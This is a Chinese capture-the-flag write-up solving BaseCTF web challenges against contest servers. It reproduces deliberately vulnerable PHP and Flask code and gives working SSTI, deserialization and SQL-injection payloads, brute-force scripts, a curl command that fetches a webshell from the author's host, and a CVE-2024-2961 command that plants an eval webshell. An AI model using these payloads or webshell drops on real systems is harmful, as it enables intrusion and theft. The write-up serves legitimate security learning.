BaseCTF-WEB部分题解

该文章更新于 2024.09.27

是新生赛,好耶。

BaseCTF-WEB部分题解

差点AK了,唉。继续学习吧。

[Week1]

Aura 酱的礼物

题目直接给源码了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php
highlight_file(__FILE__);
// Aura 酱,欢迎回家~
// 这里有一份礼物,请你签收一下哟~
$pen = $_POST['pen'];
if (file_get_contents($pen) !== 'Aura')
{
die('这是 Aura 的礼物,你不是 Aura!');
}

// 礼物收到啦,接下来要去博客里面写下感想哦~
$challenge = $_POST['challenge'];
if (strpos($challenge, 'http://jasmineaura.github.io') !== 0)
{
die('这不是 Aura 的博客!');
}

$blog_content = file_get_contents($challenge);
if (strpos($blog_content, '已经收到Kengwang的礼物啦') === false)
{
die('请去博客里面写下感想哦~');
}

// 嘿嘿,接下来要拆开礼物啦,悄悄告诉你,礼物在 flag.php 里面哦~
$gift = $_POST['gift'];
include($gift);

challenge的值必须以http://jasmineaura.github.io开头。

我们用HTTP基本身份认证的方式绕过。即@

先创建一个文件,里面写已经收到Kengwang的礼物啦。然后@后面接上我们自己的服务器ip即可。

image-20240816113850065

这个文件包含拿不到flag(用伪协议就可以了。我直接用php filter链打rce了。

[Week3]

滤个不停

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
<?php
highlight_file(__FILE__);
error_reporting(0);

$incompetent = $_POST['incompetent'];
$Datch = $_POST['Datch'];

if ($incompetent !== 'HelloWorld') {
die('写出程序员的第一行问候吧!');
}

//这是个什么东东???
$required_chars = ['s', 'e', 'v', 'a', 'n', 'x', 'r', 'o'];
$is_valid = true;

foreach ($required_chars as $char) {
if (strpos($Datch, $char) === false) {
$is_valid = false;
break;
}
}

if ($is_valid) {

$invalid_patterns = ['php://', 'http://', 'https://', 'ftp://', 'file://' , 'data://', 'gopher://'];

foreach ($invalid_patterns as $pattern) {
if (stripos($Datch, $pattern) !== false) {
die('此路不通换条路试试?');
}
}


include($Datch);
} else {
die('文件名不合规 请重试');
}
?>

禁掉了很多伪协议,那利用filter链打rce就算了。并且要求datch里面包含[‘s’, ‘e’, ‘v’, ‘a’, ‘n’, ‘x’, ‘r’, ‘o’];这些字母。观察后发现这个可以拼成日志的路径。试一下后成功rce

image-20240829102409131

image-20240829102924623

玩原神玩的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
<?php
highlight_file(__FILE__);
error_reporting(0);

include 'flag.php';
if (sizeof($_POST['len']) == sizeof($array)) {
ys_open($_GET['tip']);
} else {
die("错了!就你还想玩原神?❌❌❌");
}

function ys_open($tip) {
if ($tip != "我要玩原神") {
die("我不管,我要玩原神!😭😭😭");
}
dumpFlag();
}

function dumpFlag() {
if (!isset($_POST['m']) || sizeof($_POST['m']) != 2) {
die("可恶的QQ人!😡😡😡");
}
$a = $_POST['m'][0];
$b = $_POST['m'][1];
if(empty($a) || empty($b) || $a != "100%" || $b != "love100%" . md5($a)) {
die("某站崩了?肯定是某忽悠干的!😡😡😡");
}
include 'flag.php';
$flag[] = array();
for ($ii = 0;$ii < sizeof($array);$ii++) {
$flag[$ii] = md5(ord($array[$ii]) ^ $ii);
}

echo json_encode($flag);
}

写个脚本爆破一下array数组长度

1
2
3
4
5
6
7
8
9
10
11
12
13
import requests

url = "http://challenge.basectf.fun:33806"
max_len = 100

for len_size in range(1, max_len + 1):

data = {}
for i in range(len_size):
data[f'len[{i}]'] = 'fffffilm'
print(data)
response = requests.post(url, data=data)
print(f"尝试长度: {len_size}, 服务器响应: {response.text}")

image-20240829123443060

生成POST数组。

1
2
3
4
5
6
7
8
9
10
11
<?php
$len_size = 45;
$query_string = '';
for ($i = 1; $i <= $len_size; $i++) {
$query_string .= "len[$i]=1";
if ($i < $len_size) {
$query_string .= '&';
}
}
echo $query_string;
?>

接着按要求传参即可

一个丑陋的python拿到flag每一位的md5

1
2
3
4
5
6
7
8
9
10
11
import requests

url = ("http://challenge.basectf.fun:32374?tip=我要玩原神")

headers={

"Content-Type": "application/x-www-form-urlencoded"
}
data='len[1]=1&len[2]=1&len[3]=1&len[4]=1&len[5]=1&len[6]=1&len[7]=1&len[8]=1&len[9]=1&len[10]=1&len[11]=1&len[12]=1&len[13]=1&len[14]=1&len[15]=1&len[16]=1&len[17]=1&len[18]=1&len[19]=1&len[20]=1&len[21]=1&len[22]=1&len[23]=1&len[24]=1&len[25]=1&len[26]=1&len[27]=1&len[28]=1&len[29]=1&len[30]=1&len[31]=1&len[32]=1&len[33]=1&len[34]=1&len[35]=1&len[36]=1&len[37]=1&len[38]=1&len[39]=1&len[40]=1&len[41]=1&len[42]=1&len[43]=1&len[44]=1&len[45]=1&len[3]=2&m[0]=100%&m[1]=love100%2530bd7ce7de206924302499f197c7a966'
response = requests.post(url, data=data,headers=headers)
print(response.text)

image-20240829134954107

1
["3295c76acbf4caaed33c36b1b5fc2cb1","26657d5ff9020d2abefe558796b99584","73278a4a86960eeb576a8fd4c9ec6997","ec8956637a99787bd197eacd77acce5e","e2c420d928d4bf8ce0ff2ec19b371514","43ec517d68b6edd3015b3edc9a11367b","ea5d2f1c4608232e07d3aa3d998e5135","c8ffe9a587b126f152ed3d89a146b445","44f683a84163b3523afe57c2e008bc8c","f0935e4cd5920aa6c7c996a5ee53a70f","698d51a19d8a121ce581499d7b701668","2838023a778dfaecdc212708f721b788","5f93f983524def3dca464469d2cf9f3e","093f65e080a295f8076b1c5722a46aa2","44f683a84163b3523afe57c2e008bc8c","9f61408e3afb633e50cdf1b20de6f466","7f39f8317fbdb1988ef4c628eba02591","3416a75f4cea9109507cacd8e2f2aefc","6364d3f0f495b6ab9dcf8d3b5c6e0b01","6364d3f0f495b6ab9dcf8d3b5c6e0b01","5ef059938ba799aaa845e1c2e8a762bd","9f61408e3afb633e50cdf1b20de6f466","e369853df766fa44e1ed0ff613f563bd","1c383cd30b7c298ab50293adfecb7b18","d645920e395fedad7bbbed0eca3fe2e0","d645920e395fedad7bbbed0eca3fe2e0","b53b3a3d6ab90ce0268229151c9bde11","a0a080f42e6f13b3a2df133f073095dd","f7177163c833dff4b38fc8d2872f1ec6","ec5decca5ed3d6b8079e2e7e7bacc9f2","202cb962ac59075b964b07152d234b70","c0c7c76d30bd3dcaefc96f40275bdc0a","735b90b4568125ed6c3f678819b6e058","98f13708210194c475687be6106a3b84","b6d767d2f8ed5d21a44b0e5886680cb9","ea5d2f1c4608232e07d3aa3d998e5135","fc490ca45c00b1249bbe3554a4fdf6fb","7cbbc409ec990f19c78c75bd1e06f215","735b90b4568125ed6c3f678819b6e058","a3f390d88e4c41f2747bfa2f1b5f87db","70efdf2ec9b086079795c442636b55fb","fbd7939d674997cdb4692d34de8633c4","32bb90e8976aab5298d5da10fe66f21d","32bb90e8976aab5298d5da10fe66f21d","43ec517d68b6edd3015b3edc9a11367b"]

搓个爆破脚本。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import hashlib

hashes = [
"3295c76acbf4caaed33c36b1b5fc2cb1","26657d5ff9020d2abefe558796b99584","73278a4a86960eeb576a8fd4c9ec6997",
"ec8956637a99787bd197eacd77acce5e","e2c420d928d4bf8ce0ff2ec19b371514","43ec517d68b6edd3015b3edc9a11367b",
"ea5d2f1c4608232e07d3aa3d998e5135","c8ffe9a587b126f152ed3d89a146b445","44f683a84163b3523afe57c2e008bc8c",
"f0935e4cd5920aa6c7c996a5ee53a70f","698d51a19d8a121ce581499d7b701668","2838023a778dfaecdc212708f721b788",
"5f93f983524def3dca464469d2cf9f3e","093f65e080a295f8076b1c5722a46aa2","44f683a84163b3523afe57c2e008bc8c",
"9f61408e3afb633e50cdf1b20de6f466","7f39f8317fbdb1988ef4c628eba02591","3416a75f4cea9109507cacd8e2f2aefc",
"6364d3f0f495b6ab9dcf8d3b5c6e0b01","6364d3f0f495b6ab9dcf8d3b5c6e0b01","5ef059938ba799aaa845e1c2e8a762bd",
"9f61408e3afb633e50cdf1b20de6f466","e369853df766fa44e1ed0ff613f563bd","1c383cd30b7c298ab50293adfecb7b18",
"d645920e395fedad7bbbed0eca3fe2e0","d645920e395fedad7bbbed0eca3fe2e0","b53b3a3d6ab90ce0268229151c9bde11",
"a0a080f42e6f13b3a2df133f073095dd","f7177163c833dff4b38fc8d2872f1ec6","ec5decca5ed3d6b8079e2e7e7bacc9f2",
"202cb962ac59075b964b07152d234b70","c0c7c76d30bd3dcaefc96f40275bdc0a","735b90b4568125ed6c3f678819b6e058",
"98f13708210194c475687be6106a3b84","b6d767d2f8ed5d21a44b0e5886680cb9","ea5d2f1c4608232e07d3aa3d998e5135",
"fc490ca45c00b1249bbe3554a4fdf6fb","7cbbc409ec990f19c78c75bd1e06f215","735b90b4568125ed6c3f678819b6e058",
"a3f390d88e4c41f2747bfa2f1b5f87db","70efdf2ec9b086079795c442636b55fb","fbd7939d674997cdb4692d34de8633c4",
"32bb90e8976aab5298d5da10fe66f21d","32bb90e8976aab5298d5da10fe66f21d","43ec517d68b6edd3015b3edc9a11367b"
]
for index, char in enumerate(hashes):
for flag_char in range(0, 256):
if (hashlib.md5(str(flag_char).encode("UTF-8")).hexdigest()) == char:
print(flag_char)
break

image-20240829142510136

没注意到这是异或后的结果$flag[$ii] = md5(ord($array[$ii]) ^ $ii)

让gpt写一个解密吧。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
# 给定的 XOR 结果
xor_results = [66, 96, 113, 102, 71, 81, 64, 124, 62, 106, 111, 51, 110, 59, 62, 56, 61, 41, 32, 32, 118, 56, 34, 35, 40, 40, 55, 122, 44, 127, 123, 50, 67, 20, 22, 64, 65, 70, 67, 68, 17, 76, 72, 72, 81]


def decrypt_xor_results(xor_results):
original_values = []

for index, xor_value in enumerate(xor_results):
# 恢复原始的 ASCII 码值
original_ascii = xor_value ^ index
original_values.append(original_ascii)

return original_values


# 还原 ASCII 码值
original_ascii_values = decrypt_xor_results(xor_results)

# 打印结果
print("Original ASCII values:", original_ascii_values)
print("Original characters:", ''.join(chr(value) for value in original_ascii_values))

image-20240902122351936

复读机

题目是一个复读机。这种题目写多了自然而然会想到ssti,别问我为什么。

测试一下发现,waf的情况奇奇怪怪的。多次调试后,用fenjing解决。

读取到源码后才知道为什么waf很奇怪

if '%' not in data and char_count(data,'{') == 1: return False

这个直接返回False一开始让我以为都打不了了。但是多套几层{}{}又可以了。这也是调用里面"flag":"BaseCTF{}{}"+payload这样写的原因。

拿flag的payload

1
flag=Basectf{}{%set gl='_'~'_'~'g''lobals'~'_'~'_'%}{%set bu='_'~'_'~'b''uiltins'~'_'~'_'%}{%set im='_'~'_'~'import'~'_'~'_'%}{%set vs='OS'|lower%}{%set ca='%c%c%c%c%c%c%c'%(99,97,116,32,47,102,42)%}{%print g['p''op'][gl][bu][im](vs)['p''open'](ca)['read']()%}

反弹shell

没弹上,可能没出网?

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import functools
import time
import requests
from fenjing import exec_cmd_payload

url = "http://challenge.basectf.fun:48151/flag" #
@functools.lru_cache(1000)
def waf(payload: str): # 如果字符串s可以通过waf则返回True, 否则返回False
time.sleep(0.1) # 防止请求发送过多
print(payload)
data={
"flag":"BaseCTF{}{}"+payload
}
resp = requests.post(url, timeout=10, data=data)
print(resp.text)
if "你想干嘛? 杂鱼~ 杂鱼~" not in resp.text and "匹配" not in resp.text:
return True
if __name__ == "__main__":
shell_payload, will_print = exec_cmd_payload(
waf, "cat /f*" )
if not will_print:
print("这个payload不会产生回显!")

print(f"{shell_payload=}")

image-20240829180906828

源码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
from flask import *

app = Flask(__name__)
app.config["SECRET_KEY"] = 'flag{SSTI_123456}'

def char_count(data,char):
cnt = 0
for i in data:
if i == char:
cnt += 1
return cnt

def waf(data):
if '%' not in data and char_count(data,'{') == 1:
return False

ban_list_string = ['class', 'base', 'mro', 'init', 'global', 'builtin', 'config', 'request', 'lipsum', 'cycler', 'url_for', 'os', 'pop', 'format', 'replace', 'reverse']
ban_list_char = ['{{', '}}', '__', '.', '*', '+', '-', '/', '"', ':', '\\' ]

for ban in ban_list_string:
if ban in data:
return True

for ban in ban_list_char:
if ban in data:
return True

return False

def check_balanced(string):
stack = []
matching_bracket = {'}': '{'}
for char in string:
if char in matching_bracket.values():
stack.append(char)
elif char in matching_bracket.keys():
if stack and stack[-1] == matching_bracket[char]:
stack.pop()
else:
return False
return len(stack) == 0

def check_header(data):
try:
data = data.split('{')[0]
headers = ['BaseCTF']
for header in headers:
if header.upper() == data.upper():
return False
return True
except:
return True

@app.route("/")
def index():
return render_template('index.html')

@app.route("/flag", methods=["POST"])
def check_flag():
flag = request.form.get("flag")
print(flag)
if flag == None:
return 'BaseCTF{fake_flag}'
else:
if check_header(flag):
return "flag 头是 BaseCTF 或 flag"
if not check_balanced(flag):
return '括号不匹配哦~'
if waf(flag):
return "你想干嘛? 杂鱼~ 杂鱼"
return render_template_string(flag)

ez_php_jail

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php
highlight_file(__FILE__);
error_reporting(0);
include("hint.html");
$Jail = $_GET['Jail_by.Happy'];

if($Jail == null) die("Do You Like My Jail?");

function Like_Jail($var) {
if (preg_match('/(`|\$|a|c|s|require|include)/i', $var)) {
return false;
}
return true;
}

if (Like_Jail($Jail)) {
eval($Jail);
echo "Yes! you escaped from the jail! LOL!";
} else {
echo "You will Jail in your life!";
}
echo "\n";

// 在HTML解析后再输出PHP源代码

?>

第一次写php的jail。过滤了$,a,c,s以及几个函数

我们可以利用highlight_file来查看文件内容。但是这里a被过滤掉了,利用glob配合通配符寻找文件。并且这里[0]来表明是查看匹配到的第一个文件,也就是我们的flag。否则是不会返回内容的。

1
Jail[by.Happy=highlight_file(glob("/fl*")[0]);

image-20240902115429025

[Week4]

flag直接读取不就行了?

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
highlight_file('index.php');
# 我把flag藏在一个secret文件夹里面了,所以要学会遍历啊~
error_reporting(0);
$J1ng = $_POST['J'];
$Hong = $_POST['H'];
$Keng = $_GET['K'];
$Wang = $_GET['W'];
$dir = new $Keng($Wang);
foreach($dir as $f) {
echo($f . '<br>');
}
echo new $J1ng($Hong);
?>

直接利用php原生类就好了。

image-20240905134517122

圣钥之战1.0

访问read路由拿到源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
from flask import Flask,request
import json

app = Flask(__name__)

def merge(src, dst):
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)

def is_json(data):
try:
json.loads(data)
return True
except ValueError:
return False

class cls():
def __init__(self):
pass

instance = cls()

@app.route('/', methods=['GET', 'POST'])
def hello_world():
return open('/static/index.html', encoding="utf-8").read()

@app.route('/read', methods=['GET', 'POST'])
def Read():
file = open(__file__, encoding="utf-8").read()
return f"J1ngHong说:你想read flag吗?
那么圣钥之光必将阻止你!
但是小小的源码没事,因为你也读不到flag(乐)
{file}
"

@app.route('/pollute', methods=['GET', 'POST'])
def Pollution():
if request.is_json:
merge(json.loads(request.data),instance)
else:
return "J1ngHong说:钥匙圣洁无暇,无人可以污染!"
return "J1ngHong说:圣钥暗淡了一点,你居然污染成功了?"

if __name__ == '__main__':
app.run(host='0.0.0.0',port=80)

python原型链污染

把file改成/flag然后访问read路由即可

image-20240905140203499

image-20240905140231567

No JWT

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
from flask import Flask, request, jsonify
import jwt
import datetime
import os
import random
import string

app = Flask(__name__)

# 随机生成 secret_key
app.secret_key = ''.join(random.choices(string.ascii_letters + string.digits, k=16))

# 登录接口
@app.route('/login', methods=['POST'])
def login():
data = request.json
username = data.get('username')
password = data.get('password')

# 其他用户都给予 user 权限
token = jwt.encode({
'sub': username,
'role': 'user', # 普通用户角色
'exp': datetime.datetime.utcnow() + datetime.timedelta(hours=1)
}, app.secret_key, algorithm='HS256')
return jsonify({'token': token}), 200

# flag 接口
@app.route('/flag', methods=['GET'])
def flag():
token = request.headers.get('Authorization')

if token:
try:
decoded = jwt.decode(token.split(" ")[1], options={"verify_signature": False, "verify_exp": False})
# 检查用户角色是否为 admin
if decoded.get('role') == 'admin':
with open('/flag', 'r') as f:
flag_content = f.read()
return jsonify({'flag': flag_content}), 200
else:
return jsonify({'message': 'Access denied: admin only'}), 403

except FileNotFoundError:
return jsonify({'message': 'Flag file not found'}), 404
except jwt.ExpiredSignatureError:
return jsonify({'message': 'Token has expired'}), 401
except jwt.InvalidTokenError:
return jsonify({'message': 'Invalid token'}), 401
return jsonify({'message': 'Token is missing'}), 401

if __name__ == '__main__':
app.run(debug=True)

题目给了源码,发现只有jwt里面role为admin就可以拿flag了,key是16位的,爆破不太现实。注意到解码JWT的时候options={"verify_signature": False, "verify_exp": False}没有对签名算法做验证。直接伪造即可。也就是将签名算法改成none,再将role改为admin

image-20240906162253818

image-20240906162142640

这里token.split(" ")[1]也就是取空格后的第一部分数据。

image-20240906162118263

only one sql

1
2
3
4
5
6
7
8
9
10
11
12
<?php
highlight_file(__FILE__);
$sql = $_GET['sql'];
if (preg_match('/select|;|@|\n/i', $sql)) {
die("你知道的,不可能有sql注入");
}
if (preg_match('/"|\$|`|\\\\/i', $sql)) {
die("你知道的,不可能有RCE");
}
//flag in ctf.flag
$query = "mysql -u root -p123456 -e \"use ctf;select '没有select,让你执行一句又如何';" . $sql . "\"";
system($query);

利用update和REGEXP进行时间盲注,可能会因为网络原因报错,多跑几次就好了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import requests
import time

url = 'http://challenge.basectf.fun:47649'
flag = ''
strings = '0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ-{}'
for i in range(1, 100):
for char in strings:
payload="UPDATE flag SET id = 'fffffilm' WHERE data REGEXP '^Basectf' AND IF(data REGEXP '^{}',sleep(1), 1)".format((flag+char))
params={
"sql":payload
}
print(payload)
time.sleep(0.05)
start_time = time.time()
rs = requests.get(url,params=params)
end_time = time.time()
if end_time - start_time > 1:
flag += char
print(flag)
break
elif len(flag)>44:
print(flag[:1]+flag[1:4].lower()+flag[4:7]+flag[7:].lower())
exit()

image-20240919224824549

[Fin]

Back to the future

描述:本题理论不需要扫描器

我们试着随便在url后面跟点什么,发现直接给phpinfo()了。但是还是没什么思路,再想一想描述,访问robots.txt发现了信息。

image-20240911135345648

image-20240911135330397

感觉是git泄露,题目叫back to the future,也有让我们看git的记录的意思,一切都对上了。

用这个gakki429/Git_Extract拿到了flag

image-20240911141325406

image-20240911141413716

所以phpinfo()是干扰项?

RCE or Sql Inject

1
2
3
4
5
6
7
8
9
10
11
<?php
highlight_file(__FILE__);
$sql = $_GET['sql'];
if (preg_match('/se|ec|;|@|del|into|outfile/i', $sql)) {
die("你知道的,不可能有sql注入");
}
if (preg_match('/"|\$|`|\\\\/i', $sql)) {
die("你知道的,不可能有RCE");
}
$query = "mysql -u root -p123456 -e \"use ctf;select 'ctfer! You can\\'t succeed this time! hahaha'; -- " . $sql . "\"";
system($query);

hint:

R! C! E!

mysql远程连接和命令行操作是不是有些区别呢

输个问号看看?

相比上一道题多过滤了se,ec,del,into,outfile。但是把换行放出来了。并且题目的语句多了个注释在末尾。

由于过滤了se,所以sql注入不太可能了。(可能存在我不知道的方法?

那就顺着题目意思来,先换行逃过注释,然后一个?也就是sql=%0a?

image-20240911144804951

那很明显了,通过system执行命令嘛。但是根目录没有flag,估计在数据库里面。

发现靶机出网

image-20240911150432346

那下一个shell进来好了

http://challenge.basectf.fun:24185/?sql=%0asystem curl fffffilm.top/1.txt -o fffffilm.php

成功拿到flag。

image-20240911150605631

Sql Inject or RCE

1
2
3
4
5
6
7
8
9
10
11
<?php
highlight_file(__FILE__);
$sql = $_GET['sql'];
if (preg_match('/se|ec|st|;|@|delete|into|outfile/i', $sql)) {
die("你知道的,不可能有sql注入");
}
if (preg_match('/"|\$|`|\\\\/i', $sql)) {
die("你知道的,不可能有RCE");
}
$query = "mysql -u root -p123456 -e \"use ctf;select 'ctfer! You can\\'t succeed this time! hahaha'; -- " . $sql . "\"";
system($query);

相比上一题多过滤了st,并且del换成了delete。所以关键点会在del上吗(存疑,确信

发现mysql的内置命令里面有一条正好和del有关delimiter。感觉是通过这个改变结束符,来绕过;打一个堆叠。成功哩,delimiter本身的用法就是不加;结束符的,所以我们加一个换行在后面,就可以成功改变结束符来打堆叠了。

最后利用handler读取即可。

如下:

image-20240914211214907

1z_php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
<?php
highlight_file('index.php');
# 我记得她...好像叫flag.php吧?
$emp=$_GET['e_m.p'];
$try=$_POST['try'];
if($emp!="114514"&&intval($emp,0)===114514)
{
for ($i=0;$i<strlen($emp);$i++){
if (ctype_alpha($emp[$i])){
die("你不是hacker?那请去外场等候!");
}
}
echo "只有真正的hacker才能拿到flag!"."<br>";

if (preg_match('/.+?HACKER/is',$try)){
die("你是hacker还敢自报家门呢?");
}
if (!stripos($try,'HACKER') === TRUE){
die("你连自己是hacker都不承认,还想要flag呢?");
}

$a=$_GET['a'];
$b=$_GET['b'];
$c=$_GET['c'];
if(stripos($b,'php')!==0){
die("收手吧hacker,你得不到flag的!");
}
echo (new $a($b))->$c();
}
else
{
die("114514到底是啥意思嘞?。?");
}
# 觉得困难的话就直接把shell拿去用吧,不用谢~
$shell=$_POST['shell'];
eval($shell);
?>

php没有难题

给了一个eval,但是前面直接进die()了,还是利用不了。那我们先看前面的。

intval($value,$base)当base为0时,会检测value的格式来决定使用的进制。传16进制满足第一个if,也就是:e[m.p=0x1bf52

再下面又有一个ctype_alpha函数,ctype_alpha — 做纯字符检测。——如果在当前语言环境中 text 里的每个字符都是一个字母,那么就返回**true,反之则返回false**。

那用8进制好了,e[m.p=0337522

接下来是

1
2
3
4
5
6
if (preg_match('/.+?HACKER/is',$try)){
die("你是hacker还敢自报家门呢?");
}
if (!stripos($try,'HACKER') === TRUE){
die("你连自己是hacker都不承认,还想要flag呢?");
}

利用正则回溯绕过。

然后是

1
2
3
4
if(stripos($b,'php')!==0){
die("收手吧hacker,你得不到flag的!");
}
echo (new $a($b))->$c();

b要以php开头,用SplFileObject配合php伪协议即可,并且c是toString方法打印结果。

image-20240912143611703

或者利用webshell直接拿flag也行

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import requests
url="http://challenge.basectf.fun:39005"
#请自行更换伪协议,我这里只是为了展示能读到flag才用的这个。
parms={
"e[m.p":"0337522",
"a" : "SplFileObject",
"b" : "php://filter/read=convert.iconv.ASCII.UCS-2BE/resource=flag.php",
"c" : "__toString"

}
data={
'try':'very'*250001 +'HACKER',
'shell':'system("whoami");'
}
r=requests.post(url,data=data,params=parms)
print(r.text)
print(r.url)

ez_php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
<?php
highlight_file(__file__);
function substrstr($data)
{
$start = mb_strpos($data, "[");
$end = mb_strpos($data, "]");
return mb_substr($data, $start + 1, $end - 1 - $start);
}

class Hacker{
public $start;
public $end;
public $username="hacker";
public function __construct($start){
$this->start=$start;
}
public function __wakeup(){
$this->username="hacker";
$this->end = $this->start;
}

public function __destruct(){
if(!preg_match('/ctfer/i',$this->username)){
echo 'Hacker!';
}
}
}

class C{
public $c;
public function __toString(){
$this->c->c();
return "C";
}
}

class T{
public $t;
public function __call($name,$args){
echo $this->t->t;
}
}
class F{
public $f;
public function __get($name){
return isset($this->f->f);
}

}
class E{
public $e;
public function __isset($name){
($this->e)();
}

}
class R{
public $r;

public function __invoke(){
eval($this->r);
}
}

if(isset($_GET['ez_ser.from_you'])){
$ctf = new Hacker('{{{'.$_GET['ez_ser.from_you'].'}}}');
if(preg_match("/\[|\]/i", $_GET['substr'])){
die("NONONO!!!");
}
$pre = isset($_GET['substr'])?$_GET['substr']:"substr";
$ser_ctf = substrstr($pre."[".serialize($ctf)."]");
$a = unserialize($ser_ctf);
throw new Exception("杂鱼~杂鱼~");
}

简单看了一下,考点是引用,字符串逃逸和一个GC回收

先把反序列化部分写出来,pop链很简单。

1
destruct->toString->call->get->isset->invoke

但是wake_up绕不过,可能需要利用$this->end = $this->start;(存疑

注意到__wakeup里面对end进行了赋值,且wakeup方法内只对username的值进行了改变,start的值始终是由我们决定的。

那我们让start的值为POP链,再利用引用使得end和username的值一致,username的值改变后也可以通过$this->end = $this->start变成我们的pop链。用一个gif图展示一下过程。

image-20240914152832623

接下来就是字符串逃逸,mb_strpos与mb_substr执行差异导致的漏洞,感觉gxn师傅讲的挺好的,可以看他的文章了解一下。

逃逸多少字符懒得算了,只要把start前面的都删掉,留下O开头的数据就行。一直加%f0直到O被删掉,再加%9f把O找回来即可。

然后再删去末尾的四个}}}}来破坏序列化字符串结构,利用fast destruct逃脱异常。

1
2
ez[ser.from_you=O:6:"Hacker":3:{s:3:"end";N;s:8:"username";R:2;s:5:"start";O:1:"C":1:{s:1:"c";O:1:"T":1:{s:1:"t";O:1:"F":1:{s:1:"f";O:1:"E":1:{s:1:"e";O:1:"R":1:{s:1:"r";s:18:"system("cat /f*");";}}
&substr=%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0f0%f0%f0%f0f0%f0%f0%f0%f0%f0%9f

image-20240914152832623

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
<?php

class Hacker{
public $end;
public $username;
public $start;

public function __construct(){
$this->end = &$this->username;
}
}

class C{
public $c;

}

class T{
public $t;

}
class F{
public $f;


}
class E{
public $e;


}
class R{
public $r;

}

$hacker=new Hacker();
$hacker->start=new C();
$hacker->start->c=new T();
$hacker->start->c->t=new F();
$hacker->start->c->t->f=new E();
$hacker->start->c->t->f->e=new R();
$hacker->start->c->t->f->e->r='system("whoami");';
echo serialize($hacker);

Jinja Mark

index路由,post传参lucky_number=5346,(这个数字直接用的lucky number题目给的)拿到原型链污染的源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
BLACKLIST_IN_index = ['{','}']
def merge(src, dst):
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)
@app.route('/magic',methods=['POST', 'GET'])
def pollute():
if request.method == 'POST':
if request.is_json:
merge(json.loads(request.data), instance)
return "这个魔术还行吧"
else:
return "我要json的魔术"
return "记得用POST方法把魔术交上来"

flag路由是ssti,但是一出现{或}就跳转了。估计上面的黑名单就用在这里,污染掉黑名单之后就可以ssti了。

image-20240912115629329

可以看到的确没有过滤了。

image-20240912115420484

随便找个payload打

1
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('cat /f*').read()")}}{% endif %}{% endfor %}

image-20240912115542568

Lucky Number

image-20240912162730635

题目信息差不多,但是这道题一开始没给ssti打,而是多了一个result = heaven.create()

和heaven.py

1
2
3
4
5
6
7
def create(kon="Kon", pure="Pure", *, confirm=False):
if confirm and "lucky_number" not in create.__kwdefaults__:
return {"message": "嗯嗯,我已经知道你要创造东西了,但是你怎么不告诉我要创造什么?", "lucky_number": "nope"}
if confirm and "lucky_number" in create.__kwdefaults__:
return {"message": "这是你的lucky_number,请拿好,去/check下检查一下吧", "lucky_number": create.__kwdefaults__["lucky_number"]}

return {"message": "你有什么想创造的吗?", "lucky_number": "nope"}

hint:但是听说在heaven中有一种create方法,配合__kwdefaults__可以创造出任何事物,

污染confirm为true,以及lucky_number为5346(这里lucky_number要是字符而不是数字,难绷

image-20240912171927226

image-20240912172018651

和上题同样的payload

1
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('cat /f*').read()")}}{% endif %}{% endfor %}

image-20240912172230556

Just Readme

1
2
<?php
echo file_get_contents($_POST['file']);

直接打CVE-2024-2961就行

python3 aa.py http://challenge.basectf.fun:29428/ "echo '<?php eval(\$_POST[0]);?>'>/var/www/html/fffffilm.php;"

